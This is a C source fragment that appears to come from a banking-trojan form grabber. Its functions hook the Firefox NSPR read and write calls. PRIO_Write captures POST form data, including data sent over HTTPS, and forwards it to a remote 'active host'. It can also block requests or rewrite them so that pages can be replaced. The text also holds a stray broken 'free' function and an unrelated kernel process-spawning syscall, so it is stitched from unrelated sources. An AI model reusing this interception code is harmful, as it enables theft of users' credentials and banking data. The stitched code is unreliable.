// // Common PR_Write dispatch function. // Checks if the specified request has to be handled, initiates any replace-data receive and sends HTTP-form data. // LONG PRIO_Write( PPR_SOCKET Ps, // socket handle PCHAR buf, // buffer containing data to write LONG amount // number of bytes to write ) { LONG bRet = 0, bSize = 0; PCHAR nBuffer; PHANDLE_CONTEXT Ctx = NULL; PHTTP_HEADERS Headers = NULL; do // not a loop { if (amount == 0) break; if (!HttpIsRequest(buf, amount)) { Ctx = FindHandle(Ps->fd); break; } if (!(nBuffer = StrStrNA(buf, szEmptyStr, amount))) break; ASSERT(nBuffer >= buf && (nBuffer < (buf + amount))); if (!(Headers = HttpParseHeaders(buf, (cstrlen(szEmptyStr) + (ULONG)(nBuffer - buf))))) break; if (!g_UserAgentStr) ActivateParser(HttpQueryAgent(Headers)); if (!(Headers->Url = HttpQueryUrl(Headers, (Ps->Flags & PR_SOCKET_FLAG_SSL)))) break; if ((g_ClientId.Plugins & PG_BIT_FORMS) || #ifdef _ALWAYS_HTTPS (Ps->Flags & PR_SOCKET_FLAG_SSL) #else (FALSE) #endif ) { // Collecting and saving POST forms if (Headers->ContentSize) //&& ((Headers->ContentSize + Headers->HeadersSize) <= amount)) { PCHAR ContType = HttpFindHeaderA(Headers->Binary, szContentType, NULL); // Checking for Online Certificate Status Protocol (OCSP) request, and ignoring it if found if (!StrStrI(ContType, szOCSP)) { // Creating a Context to store form data if (Ctx = FfCheckAddHandle(Ps->fd, Headers, CF_FORM, (Ps->Flags & PR_SOCKET_FLAG_SSL))) Ctx->Length = Headers->ContentSize; } } } // if (g_ClientId.Plugins & PG_BIT_FORMS) // Checking out the URL if (Ctx || (Ctx = FfCheckAddHandle(Ps->fd, Headers, 0, (Ps->Flags & PR_SOCKET_FLAG_SSL)))) { ASSERT((Ctx->Flags & ~(CF_FORM | CF_REPLACE)) == 0); if (Ctx->Status == REQUEST_BLOCKED) { bRet = -1; bSize = -1; (Ps->Api->SetError)(PR_CONNECT_RESET_ERROR, 0, Ps->Context); break; } if (Ctx->Flags & CF_REPLACE) { #ifdef _PATCH_REPLACE_HEADERS // Checking if this is a GET request if (*(PULONG)Headers->Binary == uGET) // Patching request URI to make an invalid HTTP request. // All request headers and data will be relpaced. We don't need to receive any data there. buf[5] = '%'; #endif } // if (Ctx->Flags & CF_REPLACE) else { // Addinig "Accept-Encoding: identity" header if (nBuffer = HttpSetHeaderA(Headers->Binary, szAcceptEncoding, szIdentity, NULL)) { hFree(Headers->Binary); Headers->Binary = nBuffer; } // if (nBuffer = HttpSetHeaderA(Headers->Binary, szAcceptEncoding, szIdentity)) } // else // if (Ctx->Flags & CF_REPLACE) } // if (Ctx || (Ctx = FfCheckAddHandle(fd, Headers, 0, (Ps->Flags & PR_SOCKET_FLAG_SSL)))) // Checking if headers were modified if ((bSize = lstrlenA(Headers->Binary)) != Headers->HeadersSize) { PCHAR SendBuffer; if (SendBuffer = hAlloc(bSize + amount - Headers->HeadersSize)) { memcpy(SendBuffer, Headers->Binary, bSize); memcpy(SendBuffer + bSize, (buf + Headers->HeadersSize), (amount - Headers->HeadersSize)); bSize += (amount - Headers->HeadersSize); if ((bRet = (Ps->Api->Write)(Ps->fd, SendBuffer, bSize, NULL)) > 0) bRet = amount; hFree(SendBuffer); } // if (SendBuffer = hAlloc(bSize + amount - Headers->HeadersSize)) } else bSize = 0; } while(FALSE); if (bSize == 0) // Nothing was sent, doning it now bRet = (Ps->Api->Write)(Ps->fd, buf, amount, Ps->Context); if ((Ctx) && (Ctx->Length)) { // Checking if data was successfully sent and there was any form data if (bRet > 0 || (bRet == -1 && Ps->Api->GetError(&Ps->Context) == PR_WOULD_BLOCK_ERROR)) { HRESULT hResult; LONG Sent = amount; PCHAR FormData = buf; if (Headers) { Sent -= Headers->HeadersSize; FormData += Headers->HeadersSize; // Saving request headers to the HTTP context, we need them later while posting a form Ctx->pHeaders = Headers->Binary; Headers->Binary = NULL; } Sent = min(Sent, Ctx->Length); // Saving form data into the data stream hResult = CoInvoke(Ctx->pStream, Write, FormData, Sent, NULL); ASSERT(hResult == S_OK); // Checking if all form data was successfully transmited if ((Ctx->Length -= Sent) == 0) { // Sending form data to the active host Sent = StreamGetLength(Ctx->pStream); if (FormData = (PCHAR)hAlloc(Sent)) { StreamGotoBegin(Ctx->pStream); hResult = CoInvoke(Ctx->pStream, Read, FormData, Sent, (PULONG)&Sent); ASSERT(hResult == S_OK); PostForms(Ctx->Url, Ctx->pHeaders, NULL, FormData, Sent, SEND_ID_FORM, TRUE); hFree(FormData); } StreamClear(Ctx->pStream); // Form was sent if (Ctx->Flags & CF_FORM) ReleaseHandle(Ctx); } ASSERT(Ctx->Length >= 0); } // if (bRet > 0 || (bRet == -1 && Ps->Api->GetError(&Ps->Context) == PR_WOULD_BLOCK_ERROR)) else { // Form was not sent, an error occured if (Ctx->Flags & CF_FORM) ReleaseHandle(Ctx); } } // if ((Ctx) && (Ctx->Length)) if (Headers) HttpReleaseHeaders(Headers); else { // Releasing Context (only if it was just found) if (Ctx) ReleaseHandle(Ctx); } return(bRet); }
void free(void *data) { DisposeHandle(FindHandle(data)); }
// // Common PR_Read dispatch function. // LONG PRIO_Read( PPR_SOCKET Ps, // socket handle PCHAR buf, // buffer to store the bytes read LONG amount // number of bytes to read ) { LONG bRead = 0; PHANDLE_CONTEXT Ctx; // DbgPrint("Thread %x entered PR_Read with handle 0x%x.\n", GetCurrentThreadId(), fd); if ((Ctx = FindHandle(Ps->fd)) && (!(Ctx->Flags & CF_FORM) || !ReleaseHandle(Ctx))) { ASSERT(!(Ctx->Flags & CF_FORM)); do // not a loop { if (Ctx->Status & STREAM_FULL_REPLACE) { // Stream has already being replaced // It's may happen, that there is some data is still ready on a wire, so we have to read it here while ((bRead = (Ps->Api->Read)(Ps->fd, buf, amount, NULL)) > 0); // Clearing number of bytes read to be able to read from the replaced stream later bRead = 0; break; } // Stream is empty, reading data from the socket if (Ctx->cActive == 0) { if ((Ctx->Flags & CF_LENGTH) && (Ctx->ChunkSize == 0)) { // Context has lengh and we have read it all ASSERT(bRead == 0); if (StreamAvaliable(Ctx->pStream)) break; } // Buffer is empty // Reading the data currently available on the socket if ((bRead = (Ps->Api->Read)(Ps->fd, Ctx->cBuffer, MAX_CONTENT_BUFFER_SIZE, NULL)) <= 0) { if (bRead == 0 && Ctx->ChunkSize != 0) { // Connection is closed. Loading complete, adding NULL-chunk. ASSERT(StreamGetLength(Ctx->pReceiveStream) == 0); ContextAddChunk(Ctx); Ctx->ChunkSize = 0; } break; } Ctx->cTotal = bRead; Ctx->cActive = bRead; Ctx->cBuffer[Ctx->cTotal] = 0; // to make a zero-terminated string if (!(Ctx->Flags & CF_CONTENT)) // Looking for HTTP request headers and parsing them ContextParseHeaders(Ps, Ctx); } else // if (Ctx->cActive == 0) { ASSERT(!(Ctx->Flags & CF_LENGTH)); ASSERT(Ctx->cActive < Ctx->cTotal); } // Writing data into the context stream bRead = ContextReceive(Ps, Ctx); } while (FALSE); // Reading data from the context stream into the buffer if (StreamAvaliable(Ctx->pStream)) { bRead = ContextDispatch(Ps, Ctx, buf, amount); if (!(Ctx->Flags & CF_CONTENT) && !StreamAvaliable(Ctx->pStream)) ReleaseHandle(Ctx); } ReleaseHandle(Ctx); // DbgPrint("PRIO_Read ended with status %d, error code %d\n", bRead, (Ps->Api->GetError)(Ps->Context)); } else // if ((Ctx = FindHandle(Ps->fd)) &&... { bRead = (Ps->Api->Read)(Ps->fd, buf, amount, NULL); } // DbgPrint("Thread %x left PR_Read with status %d.\n", GetCurrentThreadId(), bRead); return(bRead); }
SYSCALL int Spawn (struct SpawnArgs *user_sa, void **user_segments, int segment_cnt) { struct Process *proc, *current; void *segments[NSPAWNSEGMENTS]; struct Segment *vs_ptrs[NSPAWNSEGMENTS]; int h; int t; struct SpawnArgs sa; current = GetCurrentProcess(); if (!(current->flags & PROCF_FILESYS)) return privilegeErr; if (segment_cnt < 1 || segment_cnt > NSPAWNSEGMENTS) return paramErr; CopyIn (&sa, user_sa, sizeof sa); CopyIn (segments, user_segments, sizeof (void *) * segment_cnt); if (free_handle_cnt < (1 + 3 + 1) || free_process_cnt < 1) return resourceErr; if (sa.namespace_handle == -1) return paramErr; if (FindHandle (current, sa.namespace_handle) == NULL) return paramErr; if (SegmentFindMultiple (vs_ptrs, segments, segment_cnt) < 0) return paramErr; DisablePreemption(); h = AllocHandle(); proc = AllocProcess(); proc->handle = h; proc->flags = sa.flags & ~PROCF_SYSTEMMASK; proc->namespace_handle = sa.namespace_handle; handle_table[sa.namespace_handle].owner = proc; handle_table[sa.namespace_handle].flags |= HANDLEF_GRANTED_ONCE; proc->sighangup_handle = AllocHandle(); SetObject (proc, proc->sighangup_handle, HANDLE_TYPE_SYSTEMEVENT, NULL); handle_table[proc->sighangup_handle].flags |= HANDLEF_GRANTED_ONCE; proc->sigterm_handle = AllocHandle(); SetObject (proc, proc->sigterm_handle, HANDLE_TYPE_PROCESS, NULL); handle_table[proc->sigterm_handle].flags |= HANDLEF_GRANTED_ONCE; current->argv = sa.argv; current->argc = sa.argc; current->envv = sa.envv; current->envc = sa.envc; ArchAllocProcess(proc, sa.entry, sa.stack_top); SetObject (current, h, HANDLE_TYPE_PROCESS, proc); for (t=0; t < segment_cnt; t++) { PmapRemoveRegion (vs_ptrs[t]); vs_ptrs[t]->owner = proc; } proc->state = PROC_STATE_READY; SchedReady(proc); return h; }